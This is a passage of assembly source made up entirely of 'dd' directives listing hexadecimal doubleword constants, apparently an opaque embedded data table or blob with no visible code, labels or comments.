0A4B5A1F0h, 47CF1C00h dd 0B19F9BEEh, 0D1AB00FDh, 0B40DEF5Ah, 6B00425Fh, 6380E420h dd 0F4EA6FFh, 69FBB064h, 0F5A52A00h, 5309C91Ch, 0AD8D70h dd 7AE61A8h, 745D01FDh, 0F8A9DD40h, 0F999603Bh, 397A1E4Ch dd 3FE31C43h, 60AAC540h, 0A91C41h, 7B916C8Fh, 18296F92h dd 9D16D000h, 0C157622Eh, 1150001Eh, 3608E331h, 0F8FF2528h dd 980E5807h, 473CCB3Eh, 7E505633h, 0FC9E74DEh, 0A9500F8h dd 0E9527355h, 1B007B06h, 0FD6DB477h, 705AFF65h, 423F3FF0h dd 0C8F2EF80h, 0F4A3593Bh, 4BFA691Ch, 31A48780h, 7DF7DBh dd 8FDED3D8h, 5F092835h, 0A842200h, 0D9BDF6FBh, 470C03EFh dd 4B3AD739h, 54191DB0h, 9E0032ECh, 80BFF410h, 55AA46h dd 4873579Ch, 54E76B50h, 1C84FF00h, 33CEDFABh, 2FB8007Dh dd 6EBB267Fh dd 677DB281h, 6D15D000h, 5E17CFE5h, 8DE10B2Fh, 6E849388h dd 9F90C0AEh, 0A30013F3h, 0FFA724F5h, 0E2244h, 0A6D3FAA2h dd 19344192h, 30718800h, 85AC1F89h, 209E00A4h, 0A518870Fh dd 0F50E61CBh, 8241C72Ch, 0BAB5F3h, 5AB86CA9h, 1603857Ah dd 43175C15h, 0A5ECAD80h, 8FF3400h, 9CDDD92h, 0B1009879h dd 0F61F3E93h, 99E3F1h, 5C777580h, 0B2625271h, 3BE2D300h dd 0BE410FEDh, 3F847C11h, 0F8AA08h, 4E0968A7h, 3CA17457h dd 0C2A89000h, 0F1C68404h, 242E0301h, 0B47ADE95h, 0DEE5FD0h dd 0FEE858h, 0CBCE5EA0h, 91EB9E12h, 0D67A00F8h, 0AEC11F18h dd 6ADD1B00h, 59A8466Dh, 0E61230D0h, 33EA35EAh, 0B50001B0h dd 0AF3B98F9h, 743039Ah, 0D2C07EA2h, 9083E061h, 3E0741C3h dd 0AF498F10h, 88150BB0h, 0B2A30045h, 67810C3Ah, 42C014B9h dd 222B4E05h, 742400FDh, 0B8CF908Ch, 0E80F83F5h, 0C0110AE4h dd 590B3A52h, 6D61039Ah, 8918D050h, 0E1C995E0h, 6F458700h dd 0FC35B201h, 0CC3D010Fh, 6DCF471Eh, 0A7D4F0EBh, 0CBAD2500h dd 22827A26h, 0D87185h, 0F753B970h, 0AD382BBAh, 0D29FD000h dd 1C2884FCh, 1AB7004Ah, 610C223Bh, 0A101698Ah, 0BE7B888Eh dd 73ECA6B9h, 0DE6007E2h, 7017C95Dh, 554F1ED2h, 0ADD59301h dd 0BAD4C750h, 4C1AEBE4h, 0F65890B2h, 2543D00h, 0F7A3D755h dd 3F2B5E00h, 0B2B014C3h, 0D5BF0010h, 0F4FA67EDh, 3A1678EAh dd 0A80090AEh, 0BCDB7185h, 0B7FC056Ah, 809BC02Eh, 0CD7EB259h dd 0BF3A800h, 0CE4DA59Eh, 0D68000B8h, 9CF5F9E4h, 0FE1D1463h dd 930FF4E7h, 0EDAA7B6h, 516E8A10h, 59A1001Fh, 74BB3253h dd 4000B8D9h, 6FDA6B0h, 7F1D49Eh, 800A1AF3h, 0F07F610Bh dd 0E809D934h, 1B003A83h, 0C4740DA1h, 90CF97B7h, 79FB005Eh dd 229ABA43h, 1000A563h, 418D35A3h, 7C0A0CCAh, 11CE0172h dd 0CFE1D8A0h, 15E4D062h, 655F5D01h, 0F2CA1070h, 0AE72220h dd 0DA0EFF83h, 2A990FEAh, 0CE9B9AC0h, 0DF00B3ECh, 7A327741h dd 9047AB12h, 0E834F9F0h, 59DA00CAh, 61319FC8h, 0CF002DDCh dd 43288A5Fh, 588DADh, 9B79ABC3h, 0E8D54402h, 1425439h dd 8C3ACCDFh, 4F20A146h, 8B9200E6h, 25D3D64Ch, 9D005539h dd 0B47207D5h, 19E53D1h, 134CDD09h, 0D8751132h, 930049B8h dd 0F57FB1C4h, 98898679h, 293A0000h, 97DAB9A6h, 9001F07Ch dd 0FC9B9910h, 0C4D0F285h, 61E20035h, 0CC0B7884h, 0D41DF507h dd 55C750E3h, 23C08FACh, 0AE2E0Eh, 26321713h, 94B6E6CEh dd 0E8BC50C0h, 5C4A79A0h, 6B109C9Fh, 908780C5h, 0BB21B52h dd 0A7EDF0E6h, 0C095BC07h, 0A0EE54FAh, 0BFAFDB00h, 6EE56A4Eh dd 2997004Ch, 9DD5A3F0h, 4A3B575Bh, 91AE9FA0h, 7D07003Bh dd 4844F837h, 30BE6FACh, 631B86A0h, 0F100B812h, 352577FBh dd 1354D37Eh, 0B282E4h, 0BCC29F76h, 0E228C40Dh, 0CF04875Ch dd 0A209560Fh, 668F4EC0h, 8A370064h, 31E2CDF4h, 3F00538Dh dd 0EDD9AB87h, 66E736h, 0BB830620h, 0F0DACBEFh, 0BC0096E6h dd 0DBCCE92Eh, 5207653h, 0B8BB97F7h, 39E1C3D5h, 0F8835688h dd 0D0824Ch, 228C0369h, 1DB9CAC5h, 7A74B41h, 11A1336Ch dd 0F0AD0747h, 3B161CF4h, 9F1E2BE6h, 0AD748C0h, 16E3F3h dd 0A18CA5DBh, 531544DCh, 0E1AC5800h, 12D74D80h, 69890E31h dd 52A0551Bh, 0ECBD610Fh, 0D07029F6h, 6A68703h, 0A8A1B228h dd 764666h, 0C6AFBB4h, 0DEC8E6D9h, 4072B817h, 0B697F400h dd 7B09CAA3h, 32D0019h, 47BECCE4h, 0F7093946h, 2C9F30Fh dd 0C0547AA8h, 2F063C40h, 377E583Fh, 4A6F2800h, 0FCF5902h dd 0DF3A47D5h, 980068A9h, 1B8B18F7h, 77903348h, 926A3902h dd 405A299Ah, 0DC3E98h, 5BACA938h, 9836D705h, 9EB66B00h dd 37EBBFB4h, 2D9900E5h, 0C6C1AFC8h, 9C502C9Fh, 7D3011B8h dd 5A0A9090h, 3DC1C09Bh, 1A24F461h, 231E8100h, 551DA57Ah dd 954C000Bh, 0B0B30DA4h, 20BA4318h, 5733C408h, 36CF0077h dd 5BC8479Fh, 7F0068ECh, 3C202893h, 7FCF004h, 0A471AD72h dd 0C9596070h, 0F4009F61h, 39217E47h, 9434E76h, 77A6CE9Ch dd 65497480h, 7148DCFBh, 2DB20C60h, 0F834195Bh, 0D88B4181h dd 2100D1CBh, 7952BF2Fh, 1FA1D3h, 0E5B9A8BAh, 0BCA55E97h dd 93FCD500h, 3BAAEA80h, 936F0CCh, 0A3DDEC43h, 0BCC46C0Fh dd 9E6881CEh, 0F7702094h, 1429CC18h, 165E6398h, 0B7D561h dd 4F4DAC37h, 0ADB80609h, 0A4FC5903h, 0D0FE57F8h, 1256606Ch dd 83E3368Eh, 7CF86D24h, 0E0007055h, 682A354Eh, 0FAF0C9h dd 1ABC9D5Ch, 535475EAh, 28DD048h, 0F2C6A2A8h, 861C60CDh dd 0B853101h, 58FC4CF9h, 0D844F388h, 0B65C0757h, 0A36532A7h dd 0FF852ABh, 100E37A0h, 0E0A38719h, 0DE673057h, 0E70B0979h dd 0A8836375h, 5AE8B5D8h, 8509196Eh, 89F278CAh, 0C7130250h dd 0B7F8A0A7h, 702F72D9h, 83788Fh, 7B5465FDh, 0DA4D1001h dd 28B0CD30h, 0FCA7B51Bh, 0BF420061h, 5BF139FFh, 400DA81h dd 0E7BEEAF7h, 0AFC9001h, 4B45242Fh, 94BB00B0h, 7E2AEDADh dd 0A037D100h, 293E9035h, 70061739h, 0E6B806BAh, 2E0C313Ch dd 96FD257Ah, 9CF600BEh, 496F678Ah, 5A370820h, 0E4F02938h dd 1B3D02Fh, 88FA9052h, 0FC693E32h, 2109AB45h, 265737Dh dd 6BB6DEB4h, 0A6B298C8h, 7B4C0F87h, 0C0DF450Fh, 0E37C510Eh dd 42389D77h, 19D6812Eh, 0BF5F4EC1h, 42601061h, 24B098h dd 3EAB5DBBh, 0F0791E7Ch, 4A500400h, 358EE40Ch, 0FEA2Ch dd 3CEEF72Bh, 29326DEFh, 0E4DCF928h, 4CCBFB2Ch, 0F22750h dd 9AED4C82h, 0C66EC25Fh, 0C40528B0h, 0CA2A06F4h, 0F240E81Ch dd 0BDCEA2EFh, 7D491F28h, 1CC101CBh, 20897164h, 0AF3FFA90h dd 80B13C9Dh, 4B7AA46Ch, 0C2FB39h, 0A79F73A5h, 0FF6E846h dd 0E86E100h, 283F49FDh, 0FCC7003Eh, 0D95CB615h, 4E726F53h dd 29A2DE00h, 0B54ABC24h, 7E0E6F9h, 36D85671h, 834360C8h dd 8E0007DFh, 0ADC04E70h, 676133h, 0EE39CB14h, 3D02A9AAh dd 0B82AE200h, 88B4CF3h, 482D001Fh, 0F4A7C1BCh, 0ED190C9Ah dd 35862F5h, 506CECh, 5DEE8C6Eh, 7A1D4E8Fh, 2861D300h dd 0BD3CCDACh, 0DCD90563h, 0C083FE93h, 8E5DC77Fh, 36FDEE2Ch dd 2A4BCC00h, 18A01C4h, 0D41013BFh, 0E0E2C711h, 0C200E5CFh dd 94A76340h, 39580851h, 6A80B6F5h, 1FCCF06Ch, 24004DC1h dd 8FF23BD3h, 8AB41Eh, 60834687h, 0ABFEB14Ah, 69C5FF00h dd 57554181h, 7CF4037Dh, 0AC5E8D19h, 377F4CF0h, 0C32E6B71h dd 48009598h, 52D1741Ch, 0DB230177h, 72F66DC4h, 6CD04880h dd 8B001578h, 0B09ED3C5h, 0F68DFC4h, 5A93288Eh, 7A8C0700h dd 6E7B6A59h, 0E2026100h, 0D4D216F7h, 4D0A00E4h, 37F190C2h dd 8E000918h, 843C9FFFh, 919BDBh, 35AECF28h, 0F8AFFCABh dd 9700BAEEh, 963E39EBh, 64BEC0CBh, 0C01019DBh, 689CD8Ch dd 8129F900h, 6C735BA3h, 3B8A00F8h, 0A6670D59h, 1800BAFEh dd 0EBA2E6D3h, 0F464BED1h, 0BFCA0012h, 0F04C8A9Dh, 7000DB1h dd 772D03A1h, 0AA5986h, 9E325D18h, 0B64520CCh, 0D900137Bh dd 8D5FC636h, 5EFA86h, 0FBD7DA2Bh, 3D8F9CA5h, 0AA66E400h dd 84964193h, 1DC00001h, 9D27E1FCh, 0B005879h, 0ED3C334Dh dd 0DC9591h, 886D8792h, 5A22A971h, 1A20CE00h, 0BFF1DB9Eh dd 175100B3h, 0F788AD75h, 0EA00895Ch, 8447D3DAh, 952FDFh dd 0EE498BC1h, 1D6ACE10h dd 822D3507h, 0D3F088E0h, 5A43B9h, 52F6640Fh, 0C1E1D9BEh dd 0F5318A00h, 0E25F50BFh, 2F8100E3h, 9ECE52DAh, 26004029h dd 0A61CEDFAh, 3B5BDFh, 302D8D34h, 782979A1h, 0AAD35300h dd 6A541135h, 7BF3013Bh, 0E6C0EFB2h, 0DA8A7024h, 5318300h dd 0B6B1F678h, 0CADC0092h, 464455D2h, 6000651Dh, 5EB7351h dd 3FF9AF0Ch, 6B80B890h, 9243FE8Dh, 0D2A1B64Eh, 13B5F857h dd 51426400h, 5B8F30Eh, 0FDF2A143h, 0C0AF2081h, 705F0A23h dd 8D00B037h, 0A15E5978h, 1C6B7EBh, 0D24721F9h, 0F4EF96C4h dd 0A600C912h, 0F09B761Fh, 0B063Dh, 7B6E49B9h, 0DD273913h dd 3509AD02h, 40FFBE4Ch, 0F838B8h, 0ABE80E6Eh, 0ED9A7031h dd 0D9097D00h, 478F81AEh, 38700E6h, 803E1B14h, 2800FE2Eh dd 357BE5A4h, 643775h, 0DD74EC04h, 8CB2D4CAh, 0F07340h dd 5DC9134Fh, 63E6F991h, 0ED077500h, 0BB5AC77Fh, 0B98B0EF8h dd 0DC4A8576h, 0DE1386h, 2386AE00h, 8A3D8FDDh, 8E5280FEh dd 6A81A67Dh, 0E9BA003Ah, 0C0FCAAB7h, 0BD00D4E2h, 1A03C35h dd 70CF6468h, 440B0012h, 0B4C30D53h, 0D200BAACh, 58278CB5h dd 47DBBDh, 83947DCEh, 57A546D0h, 68D9D700h, 0D40D72B5h dd 0E2220301h, 0A99E06Dh, 0C1EF2EA8h, 1CF9EB00h, 0ED3D917Eh dd 135F001Fh, 0BB4DFD77h, 53005A8Bh, 0FC83309Eh, 394E0AA1h dd 15BF39E2h, 664DDB80h, 0CC016886h, 81456A00h, 131C17A2h dd 6D351E72h, 2046000Bh, 0AC03718Dh, 379B3200h, 5D68DE7Ch dd 0A1F040h, 0AFE3B4C4h, 8B307363h, 1B9430Fh, 0BC516C11h dd 64D34CC6h, 89ADAC0h, 0CA006D47h, 0F07E83BCh, 914B2A4h dd 6A29583Fh, 36910480h, 0C3E0088Ch, 3B48D676h, 0BCB60094h dd 0CCFFF968h, 75AC01BBh, 5D8201BDh, 79ECF8A7h, 7FDFEA00h dd 8A04A292h, 57F44Ah, 0D67E5654h, 1C86503Fh, 0EE275101h dd 0D348E4B7h, 8CDD60h, 5985AE69h, 0F04EE250h, 92C58400h dd 445CB767h, 6F7E03DEh, 1A6E9CE6h, 0BA8327A8h, 7F6A7B12h dd 70F8F600h, 3691630h, 0EFBBCFCDh, 9588F6F7h, 6E00269Bh dd 5B32788h, 0B98149h, 6D701BECh, 61647EF7h, 1FBCC300h dd 970648B6h, 943E00FFh, 0D0F07253h, 0A0C542Ah, 0A0732C6Ch dd 8E2E126Ah, 115C4F5Eh, 0ECED6640h, 0F001A88h, 0C5AEE11Eh dd 50192915h, 1F7E8BDDh, 40A4BBFEh, 58F78701h, 76281245h dd 8F00FC6Ch, 0E0846195h, 1EDC809Ah, 8082BDA2h, 0C3CED2F6h dd 3005444h, 0B3FDB011h, 11D21DCh, 9F7E2C01h, 0C8289E92h dd 0D9790ECFh, 0DE94F700h, 0B8FAC833h, 0A64050FEh, 0A7891351h dd 0D4880057h, 0BBE34159h, 49957900h, 4C2FC267h, 0D23B0E86h dd 12FBB8h, 55C717D8h, 400DE8Dh, 0F83B78Eh, 0EA35CAh, 5D08ABA0h dd 846760B1h, 0E4F1C100h, 7645EF9h, 0A30AC07Dh, 0A0917B3Ch dd 6CC7A400h, 43E7BD6Eh, 0E0DB0159h, 79B33A26h, 4000E346h dd 858EF6D0h, 2C68304h, 4E64C80Dh, 0B8809698h, 0BE3D8DF2h dd 9900C37Bh, 30501A05h, 35B064Dh, 468AF041h, 11B01076h dd 0A4790EADh, 8308D63Eh, 5924DABAh, 3E98E896h, 0C0A007CFh dd 90B4E3E4h, 17944B4Dh, 62928E17h, 20129C0Fh, 1CCFA231h dd 20210056h, 544973C4h, 0BC0F3413h, 60EBA41Eh, 32191447h dd 5CD03C93h, 0EDB8BB00h, 0AF7959A7h, 0D27BA000h, 0B08AC905h dd 2586079Bh, 0D0981361h, 2FB54DCEh, 58EC3B25h, 2BDF123Ah dd 702849C7h, 716D3020h, 4D004A1Eh, 557C83E9h, 77A06E5h dd 0F420C09Bh, 47280C1h, 0F0B0B92Dh, 3090A767h, 34C0EB75h dd 7A2F707h, 0C39C91F5h, 61AECEADh, 245C6B80h, 6D0080EEh dd 0E3399D5h, 12900367h, 5F577C59h, 8F56C0FCh, 68D31482h dd 0A7B43100h, 0A732E90h, 5DB822h, 1D5ECDD6h, 20C46ECAh dd 67DFFC12h, 41D77400h, 4CD4F73Ah, 81007D0Bh, 7C258D8Ch dd 280095AFh, 6C6B52A0h, 31F9C36h, 33E28402h, 25D80E7Bh dd 9305DA17h, 2AA7D0F1h, 6755CC90h, 0C81800E4h, 0B08C2684h dd 68795958h, 0E0FB0500h, 3FD3E6FEh, 9B83048Dh, 0C0FA7A8Bh dd 94E1E944h, 18FBEF00h, 0D7B76077h, 33A3007Fh, 0DF68F243h dd 465CF3C1h, 6CCB0313h, 0AC28E622h, 8340480h, 9E440296h dd 6B38C90Ch, 1C818C84h, 89073F40h, 24C78BC3h, 80C8D282h dd 4E8EEE4Fh, 0E27230FAh, 0F822C403h, 51E0C3h, 0CFB34114h dd 2F53C86Eh, 1F6C1100h, 4C819C29h, 0B0BC1EF7h, 0A7448171h dd 24B389C9h, 0B7008F1Ch, 0C7C16131h, 0E6103F05h, 24EC8Dh dd 2D9B6B07h, 0D570C6F9h, 0BAABA413h, 8FBF00BFh, 58F8F2A6h dd 6E791C13h, 9BFF3400h, 25A72F59h, 0C00151Dh, 88D7536Ah dd 0B8270B18h, 0E27F70h, 8CD222A8h, 0CB7DBC68h, 0DE3D2AF0h dd 0B7809EFBh, 0FCED7180h, 0B33DC99h, 0C21211D3h, 0C41D880h dd 2042AE6h, 361FC457h, 0DB44A0h, 72DFEF34h, 0B82CDECh dd 44579701h, 0C85348CFh, 0C808CD9h, 59D234A4h, 93EC380Ch dd 0E84AAA00h, 2FFB6BFh, 0C7C00083h, 77AD47D1h, 0AE00EC29h dd 0E63ED35Fh, 0C517D2h, 64317E1Fh, 0D8A52D12h, 17D70548h dd 0C84F2E88h, 0C24380E5h, 1F70C0Fh, 6ED0679Bh, 0D43C1FA7h dd 0D6FAB714h, 3E1E2500h, 9A627105h, 31CEAF9h, 99D9F26Fh dd 44A90AAFh, 83F02093h, 1820BC00h, 7ECD6CACh, 684E0073h dd 0FA341C3h, 7A03327Bh, 88D39B4Dh, 3C1E13Fh, 995834h dd 141F94A9h, 8CF26884h, 0C1F14400h, 11D6BDE8h, 570C000Dh dd 0CDFCE202h, 3A037E1Eh, 37591516h, 181003B7h, 0AF21D109h dd 55AB57C0h, 0BC893E00h, 1844034h, 79B27BAAh, 95FD000Fh dd 0F0CCE0B7h, 36005E1Dh, 0E35272FCh, 246B5A04h, 2D94D7A5h dd 0A100BBF4h, 0AE9F56FDh, 0C26E3313h, 7AC83960h, 0C9000154h dd 3C05E699h, 1EC448F7h, 0C0D5379Ch, 14EDAC3h, 0B93F9615h dd 0E73F0327h, 0F88CE545h, 5AFAB3Bh, 0ADD943E8h, 0FBBC8874h dd 6EFE4Ch, 0BEEAF3D0h, 401593h, 453F5A8Ch, 8CAF863h, 0B8541A00h dd 0E2C3AA30h, 0E9F0E7h, 4CD6B4EAh, 0D3176E32h, 0F600AB90h dd 15B72DDFh, 0E8591436h, 73E800C4h, 0BAF172DEh, 1F01A8B5h dd 836761CFh, 4C30F9EDh, 47FC07BDh, 575A3CF0h, 8A0DB096h dd 313B228Bh, 8DAE1EEFh, 0FD0044A6h, 5BE6A57Ah, 0A3E009Fh dd 13968308h, 20C35DEAh, 0E0BD5A19h, 0B74B611h, 0BE7F26FFh dd 3ED8600h, 0AB79670Fh, 687F2BE4h, 73A0A61Fh, 0AEEF8540h dd 0F944F9Fh, 776C658Ah, 47B131A0h, 0DC00958Bh, 7302E350h dd 57E6C7h, 97E2A7A3h, 936A879Eh, 43524F00h, 4630B1F5h dd 0F86EEEF1h, 45BD07A6h, 209759B7h, 26FA81C5h, 3058B12Ch dd 0A08D938Bh, 0F2B5260h, 19F4033Eh, 0D59D31D3h, 0B7D43E8h dd 94884D00h, 0B48E9991h, 9C700F1h, 55BCB236h, 1898A6A0h dd 3113AD00h, 1808E0FAh, 0C89F00E4h, 0F075A74Ah, 6D010B2Eh dd 590FBE58h, 0D1EC2C55h, 0E85F0901h, 4CA0A080h, 37C90693h dd 7C0ECE0Bh, 586000ECh, 3D09335Ch, 14BE8713h, 3E8AEF01h dd 8E9356AFh, 3D723278h, 6DB42D00h, 1276B152h, 0F023F5h dd 2F7A04E8h, 0B800FC13h, 40365F9Fh, 9FEADDFFh, 0DA007470h dd 0ADD17DE7h, 52BF0h, 5783B913h, 58515EF1h, 0F6F8524Bh dd 0C96CE401h, 0DCA67810h, 8900FF42h, 86653FEFh, 16A107E7h dd 442F2B0Ch, 4F0F9Ch, 0BE951792h, 49990058h, 88542451h dd 0A80736D6h, 555C2E44h, 1674FB70h, 0A21E136Fh, 83FE00F2h dd 4D29C0B1h, 5200DEE0h, 7D185577h, 1F504228h, 817EB732h dd 0D1682046h, 0C6F03049h, 762520h, 0AB65D481h, 129A334h dd 1A82CE00h, 46534F9Bh, 1BF90373h, 0E4D341FDh, 7540729Ah dd 590082DEh, 0B4C17D40h, 71D3608h, 9629E84Bh, 0AB03CFB3h dd 4EF8D63Fh, 44ECC95Bh, 0DE78D300h, 0D1A0DAF0h, 48EF00EEh dd 287C34C1h, 0B5004718h, 0ABD35095h, 716360h, 0FC8B06B3h dd 0A707995Eh, 0A4088900h, 0C37F7564h, 9AB8016Ah, 0A2F3567Ch dd 8E92E0C6h, 0A00FDB0h, 0E242A3E9h, 98946E5Fh, 385600ABh dd 0CCE58F47h, 8D007E19h, 0C03571AAh, 2CD5E2h, 0FFBDEF3Eh dd 330A5091h, 0E640CF00h, 0A49516BCh, 0B0D11CF9h, 83833C1Fh dd 0AEB42061h, 36AB3EA8h, 12CAA600h, 7E2304F9h, 0B0C03E99h dd 8F9CDC80h, 9328FA3Ch, 8075FF0h, 0AC70B755h, 0C245C01Fh dd 1D14ABh, 96D3CE4Dh, 4A6241DEh, 0D5773200h, 6545D181h dd 140A00C8h, 92729461h, 3F7FDC87h, 0FC8D6209h, 3936000Eh dd 1D451Eh, 8A511A97h, 508E6636h, 2300CCE2h, 0B9C4EB95h dd 42F22Dh, 59A871Eh, 664AB70Ch, 0DA3BBE1Fh, 93101400h dd 0A65F54h, 3822F5B5h, 7E2F876Ch, 0BAFC0B00h, 93409824h dd 0EB789F63h, 0A1123100h, 51060C82h, 1E728Ch, 0B50B9C9Bh dd 0CD49F0C3h, 0F274BF00h, 9A6A96F4h, 0BBE2001Ch, 0BD19EF26h dd 7A00242Eh, 0A0F25DE0h, 0EB118F4h, 0F0FDE7EDh, 0C808A0Fh dd 11C2EB0Fh, 879E9539h, 0E8103559h, 3D04280h, 1C96F8B9h dd 0FED48C19h, 0A1286480h, 0C5D724D5h, 53ED6500h, 84803839h dd 0FB3000F0h, 0A2A70C69h, 9D00E088h, 709AAD16h, 1D555012h dd 4B7374h, 0F4E2A38h, 4100A4B9h, 1088A1F2h, 2835A06Dh dd 7E8C2175h, 0A23B0027h, 0E60666Ah, 2A0F9B99h, 608ED5F9h dd 0E80FEC1Dh, 331B1FCAh, 1FC94274h, 386019BAh, 0CE002541h dd 4CBCC273h, 283F9Dh, 60D9AF15h, 8D358205h, 75A39B00h dd 0E57FB00Bh, 0D387007Eh, 131626AFh, 5D000550h, 41F90127h dd 1AEC5A1h, 0B4D8E003h, 506CA269h, 63ACA3D0h, 5E00E8FEh dd 4516CC41h, 1EE3D908h, 1879F77h, 0F522BE3Fh, 0D4C44069h dd 9D008A8Ch, 0D0FC2C13h, 1B4D17h, 8793325Fh, 756D1ABDh dd 0CC20243Dh, 0A204004Bh, 0C2FC8141h, 80100084h, 7A38D29h dd 1300B66Ch, 3583A797h, 78B5651h, 3AFDE141h, 0F3DD90A9h dd 3900D6D1h, 0E8EBAC9Bh, 1C14464Ah, 80E1B6CAh, 0EA505856h dd 86002E61h, 4613FD28h, 0E2276BFCh, 0C060E772h, 544700A3h dd 0A8980791h, 0C40063E9h, 0D6953C61h, 7A5ADFh, 5E447D7Eh dd 0B5CD1E9Ch, 0F1EF5D0Ah, 630F08E8h, 30232081h, 0F86574Ch dd 0BBF82B8Ah, 697326A0h, 84928225h, 4ED89C03h, 0B830E797h dd 744CBF8Eh, 4DFB1E2Fh, 7798700Bh, 38EA1BA7h, 868F9906h dd 3088E63h, 0A6019265h, 213AA90Eh, 3FEC98E7h, 18C4D038h dd 8CE0347h, 4E00739Ch, 0AD29DF8Dh, 15257EBh, 0D1894366h dd 0CC08917Eh, 0ABF05810h, 6800CAF6h, 57C936D9h, 0F6EB6F1Ah dd 0CF7B740Ah, 0A6EC7240h, 17016C70h, 611034DCh, 0C30E6E1h dd 94E01E1Bh, 333A8058h, 6BCD2E98h, 88B47430h, 1AAECE7Dh dd 0A9A6E157h, 87996011h, 0D5D06360h, 0CFE69741h, 336E1440h dd 0A8180059h, 584E880Dh, 0D67A219Fh, 0E6D8F000h, 5C375D9h dd 535200A8h, 0FC96D184h, 6D0740B6h, 2274DDF3h, 0A0A1D7A3h dd 384477C4h, 0A8002B78h, 0CF51AFDAh, 8200BDB0h, 0BCB83B21h dd 3C84F260h, 0B31CD5D9h, 618040FCh, 21B764EDh, 1500B27Fh dd 0C8F7E0E8h, 0DCCB6Bh, 0BDCA4296h, 0F0827BB3h, 23E9380Ch dd 7B87C15Ch, 0CE7C0718h, 0E58B488Ch, 0DAA8C374h, 9010210Fh dd 3B809E84h, 6FCFBDCBh, 32A10017h, 4896AD76h, 93F053DBh dd 0BD7BCE0Fh, 0A44E8538h, 81F9C12h, 1C6E4746h, 0F98C0010h dd 9F92CD0Ch, 0E71D0B4Bh, 53152A4Fh, 0D1A61EB4h, 71A11CC0h dd 0FEBA0D39h, 0FF72008Eh, 0BD5B6219h, 7C00CC4Eh, 0EF88351Fh dd 1FC9E065h, 374C61CBh, 4FBB11B1h, 182182C6h, 7953BAh dd 7108C511h, 0D8006091h, 0BAA0E0B9h, 492F0CF8h, 5008E872h dd 3200BC92h, 0F999E0E9h, 6071F8B8h, 36819F3h, 610739D0h dd 859A624Fh, 0A5A7E090h, 366A139Bh, 0A49E1576h, 7773F300h dd 0DC70962Fh, 5A27C303h, 1E5747B3h, 0C0A884C8h, 8EC2E3C9h dd 922E6997h, 0A9090306h, 4180F722h, 647EFD68h, 0A2E02000h dd 6EBDD15Eh, 342D2E85h, 0FD6F0159h, 0F0ED4286h, 8400AAB6h dd 0F1E8CB9Eh, 481FEC31h, 250017D5h, 468B4573h, 53CED74h dd 8E480006h, 0A04BD509h, 8F11C024h, 34C34419h, 39344890h dd 0B8C68A2Dh, 14C60021h, 98AE85Bh, 0E200CC3Ch, 3DD69968h dd 7EA74F5Eh, 860CA4Ah, 7146562Ch, 0EA1AF901h, 80BF26A5h dd 9AF692C8h, 625F52Ch, 8E3536D1h, 6F0030D8h, 0DACB2093h dd 0EEC4AEFh, 53562299h, 0F55CA480h, 3D00E2D5h, 31059032h dd 7C3DB84h, 0FCD886B3h, 540890A0h, 24E2158Ah, 61035D7Ah dd 1602F90Eh, 6BFAE02Bh, 0C37528h, 0EEAC6751h, 73A25F77h dd 92CEDC00h, 25FE534Ch, 710E007Bh, 79886336h, 730F56D9h dd 800FF7FFh, 843ABC74h, 0D2EA0398h, 0E9F16A7Dh, 86A934E0h dd 3F616E00h, 95FA16Fh, 0D3840B3Bh, 0B9806689h, 734D9EF8h dd 916EF103h, 103485C1h, 1DEE21h, 0F17403EAh, 517A26h dd 0BB81B74Ah, 0FE6D9A28h, 52F680C2h, 0C88F0FF8h, 0D138224Ch dd 51C05AF8h, 0AAE4F160h, 39E53CBFh, 712A7F00h, 102281D6h dd 0C3748E03h, 0F817B218h, 0D94D15h, 0B4B3AA1Dh, 96BD5F55h dd 5C23Ch, 8ABE1BFEh, 2CCF57h, 5C1D67EEh, 188E3A4Dh, 51C2C900h dd 41487DB5h, 0C46F582Ah, 5D4A6E07h, 0D1E0C09Ah, 0D5FC7804h dd 0D33DE570h, 776780E2h, 9CFC25D6h, 303BFEBAh, 18CE4B0Ah dd 0A400D2FFh, 0E4371FA5h, 57F28Ch, 520C834Dh, 165E811Dh dd 35EE9B00h, 0EC686314h, 7F1702E7h, 0B6994BE8h, 0A133CD41h dd 0F5C00410h, 0E57EE9h, 0A71CCE23h, 248A824h, 0E3B53203h dd 0C0829153h, 0D643B0h, 9B23F4E7h, 0BFB320E2h, 80B4040Fh dd 0D90D87E6h, 0F2050110h, 72EF0036h, 3C29852Ah, 0D528CFB3h dd 0F100C463h, 0A28BFBBBh, 52F30Fh, 1C0EF61Bh, 0A3948187h dd 141D2D00h, 82766A48h, 15C788Ch, 8BB14674h, 0F8BA63BFh dd 4A71D4D9h, 0E507DE78h, 906A68D1h, 0BDFA0A90h, 6CDA00FDh dd 21424161h, 0AF00C30Fh, 0B23127F7h, 7E8D604h, 54658978h dd 46C6D0CEh, 4100BB5Fh, 7E588CBCh, 0B86C28h, 15D0BA05h dd 0B5C7D435h, 1EB02A00h, 4B73D18Bh, 915B0778h, 0F0764E5Dh dd 0DAD518BFh, 93A4A301h, 0FA5A1D8Dh, 38678C8h, 7203E9FEh dd 11B865B9h, 2300E6F9h, 5BD4033h, 341CE89h, 0AB1A029h dd 8AD890D6h, 6D6063FEh, 4E7C8411h, 9B42002Dh, 0D31138F6h dd 0D4070907h, 0CD41525Ah, 0F88BA723h, 0F58B771h, 4C786463h dd 0FF9ACB00h, 0CC039CBCh, 7F189690h, 888E4BEh, 0BD8D5CAEh dd 0DE862300h, 0BB38ECE7h, 0AAE8D8E6h, 6BCA610Eh, 9E35208Eh dd 744EA1h, 0DFB151D3h, 0AEB4E762h, 4DD911Eh, 0A060FFC0h dd 1CB8802Ch, 0DEACC531h, 35000ADh, 55A4CF0Ch, 83FE3300h dd 9C3049B5h, 299100EAh, 0BE9F89CCh, 0FB60435Fh, 73A0F4F1h dd 0F9280EF8h, 0A3E06A0Dh, 5CD54B2Eh, 2A30DC90h, 31662809h dd 0F10760FDh, 0FBE7D198h, 3DC9700h, 8F4C0CB3h, 0C56C00CAh dd 77ACDB68h dd 7100A09Ah, 853E395Ch, 9D15B2h, 7F54D0F0h, 105DB99Ch dd 1CFCDF3Eh, 0D140EBAEh, 138E497Ah, 68691487h, 0D8009C89h dd 0CF62C8C1h, 0F0E398DBh, 0BAF8F24Eh, 0A2A96E01h, 0E4E31D53h dd 0F3E87D0h, 75EE6FD9h, 198B85A1h, 800DCD34h, 12F12AC0h dd 0F79BE0Ah, 58CF2FC1h, 0BDDE0280h, 0A30754D1h, 33A1F4C9h dd 0D4A97F80h, 0D3DF24C3h, 0CD1480D4h, 93F3C875h, 34803E00h dd 0B860C60h, 0C7D80092h, 73D5369Dh, 0E81E469Ah, 20F935Dh dd 115A803Bh, 0F984AFh, 865F1F83h, 